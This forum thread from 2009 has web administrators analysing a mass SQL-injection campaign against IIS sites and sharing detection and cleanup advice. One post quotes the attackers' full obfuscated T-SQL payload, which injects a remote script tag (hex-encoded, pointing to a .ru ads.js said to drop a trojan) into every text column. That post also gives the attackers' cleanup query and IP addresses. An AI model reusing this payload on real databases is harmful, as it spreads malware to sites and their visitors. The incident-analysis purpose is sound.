September 30, 2009 at 9:59 am
Looking for your SQL-injection hole, it might help if you search your IIS logs for "cast" for example.. you will find sql methods in query string portion of URLs.
/Matt
September 30, 2009 at 12:56 pm
I see it is sql injection ,but why all of those 12000 Web Site have same effect at same day with same scripts? Isn't sounds a Virus cause the same SQL injection at the same date with different IPS?, Isn't it related with Spoofing tech ? hmmm,
need your experience.
September 30, 2009 at 5:01 pm
Hi everyone,
I just want to share my experience of this type of hacking because I don't know the hacker world and technics and I spent a lot of time to find the way to avoid this.
For this attack, I've noticed 2 points :
It is SQL Injection.
It's seems that ads.js put on the client a trojan via PDF
The first attacks began in summer 2008. First, I've analysed IIS Log to see how it was made. One of the posts shows the command line. You have to search for the lines that contains CAST(. Make sure that you aren't in case sensitive mode. These lines give you the exact urls that have been hacked. Now, you know the pages you have to modify.
At this moment, search for request command (querystring). You have to filter it, especially the input that requires numeric data. Controle that nothing but a numeric can entering the input. As far as I'm concerned, I filter all the inputs (request) by removing SQL functions such as select update ... and special characters that SQL or HTML can anderstand : -,<,> for example. You can also change the values of the input by something else. Don't forget to filter execution functions such as EXEC (if the filter isn't efficient and EXEC go through, you can put a response.end in active server page, the page will stop...). Your filter have to be not case sensitive. The last attacks play with CaSt, CASt, etc...
I think that you are now protected against this kind of attack.
You have to do the modifications on all page that contains a request and that uses it to read (or update, etc...) the database.
What a huge job !
I think that the most efficient way is to do it with a rewriting system (IIS, isapi rewrite), but I can't try it, I'm just a developper. It depends on your program strategy because it's a very restrictive way, you will disable requests that contain the word "select" on all applications.
Now you can restore your DB. For me, I demand a restore of the past day. But you have to find the one that doesn't contain the bad words "<script src... </script>"
Change your user and password too, and give just the rights it needs. If the user have to read, give to it just the right to read, etc...
Other technic to recover data is to use a replacement (another post mention it on this page). I've tried it by transforming the hacker code (hehehe). But notice the limitation of 4000 characters in the hacker code. So if the field has a value longer than that, the part on the right of the value is lost... that's why I prefere the restoring way.
Hope that gives you an help,
PS: with this system you can also avoid scripting injections...
Don't forget that 100% security doesn't exist and won't exist, this kind of guy spent their time to find a way to go through each wall you can raise in front of them. Some of them are paid for that... and I think it's a waste of time to try to find them, you have to be stronger than them to do it... So save all (conf,DB,Program), at least every day. You will lose only one day data...
Laurent
October 6, 2009 at 10:23 am
Hi all,
I registered just give you my feedback on this. My company also get hacked in September and October 2009 using the technique described by LuTim.Thank you BTW. Your analysis helped me to figure out what happened on our servers. I get on this thread by this excellent post : http://phil-secu.over-blog.net/article-36697187.html (Thank him too).
To check what happened I tracked down "CAST(0x" in server web logs to see what happened. Once de-hexified, the SQL seems quite odd. Each time we get hacked there was another SQL statement issued later (few minutes to fews days) to clean up modified data. For some reason, the last cleanup did worked correctly. Google went indexing our site with all the crap and marked it as suspicious. This is how we get to know about the problem.
We get about four attempts of this kind (javascript insertion and cleanup). I cannot tell if there were successful or not since some hackers tried to clean up there mess and "work" of others went overwritten by following hackers.
For the records, here are the IP that used this technique :
211.35.77.200
95.176.141.237
41.235.61.202
Here is a javascript insertion statement :
deClarE @T vArCHaR(255),@C vArcHAR(255)
DeclaRE Table_Cursor CUrsoR fOR SelecT A.namE,b.NAmE fROm sysOBJeCTs A,syscOLUMNs B WhERe a.Id=B.id AnD a.xTyPE='u' AND (b.xtYPE=99 or b.XtyPE=35 oR B.xTypE=231 Or B.XTYpE=167)
OPeN tABLE_CURsor FeTCH nExt from tABLE_CuRsOr iNTo @t,@c
WhiLE(@@FETcH_Status=0)
BeGiN
EXEc('UpdaTe ['+@t+'] SET ['+@C+']=RTRim(cONVerT(vArcHaR(4000),['+@C+']))+caST(0x3C736372697074207372633D687474703A2F2F7777772E62616E6E6572742E72752F6164732E6A733E3C2F7363726970743E As VaRCHAR(51))')
feTCh nEXt fROm table_Cursor intO @T,@C
END
CLosE tAbLE_cursOr
dEALLOcatE TABle_CURsOr
hexa string : <script src=http://www.bannert.ru/ads.js></script>
(we also had on another attemp : <script src=http://www.bannerdriven.ru/ads.js></script>)
Here is the "cleaning" SQL statement (very similar) :
DECLARE @T VARCHAR(255),@C VARCHAR(255)
DECLARE Table_Cursor
CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0)
BEGIN
EXEC('UPDATE ['+@T+'] SET ['+@C+']=LEFT(CONVERT(VARCHAR(4000),['+@C+']),PATINDEX(''%<scr%'',CONVERT(VARCHAR(4000),['+@C+']))-1) WHERE PATINDEX(''%<scr%'',CONVERT(VARCHAR(4000),['+@C+']))>0')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor
The baseline of this statement is to identify any field in the database that can be used to hold text. The javascript is inserted is all those fields, probably hopping that one them might be used the web page generation.
Here is the SQL request used to identify the targeted fields :
SELECT a.name,b.name
FROM sysobjects a,syscolumns b
WHERE a.id=b.id AND a.xtype='u'
AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
To easly filter the interesting data in my web server log, I used Unix/Linux system and used the grep command as follow (-i for case insensitive):
grep -i "CAST(0x" filenamefilter
To avoid eating up your hard drive, you can work with gzipped files on the fly :
gzip -cd *gz | grep -i "CAST(0x" > redirection_to_some_file
Sorry for the code above. For some reason, I cannot write a ">" in a code section.
Hope this helps.
October 6, 2009 at 10:58 am
Very nice writeup. Thanks for the info.
Viewing 5 posts - 16 through 19 (of 19 total)
You must be logged in to reply to this topic. Login to reply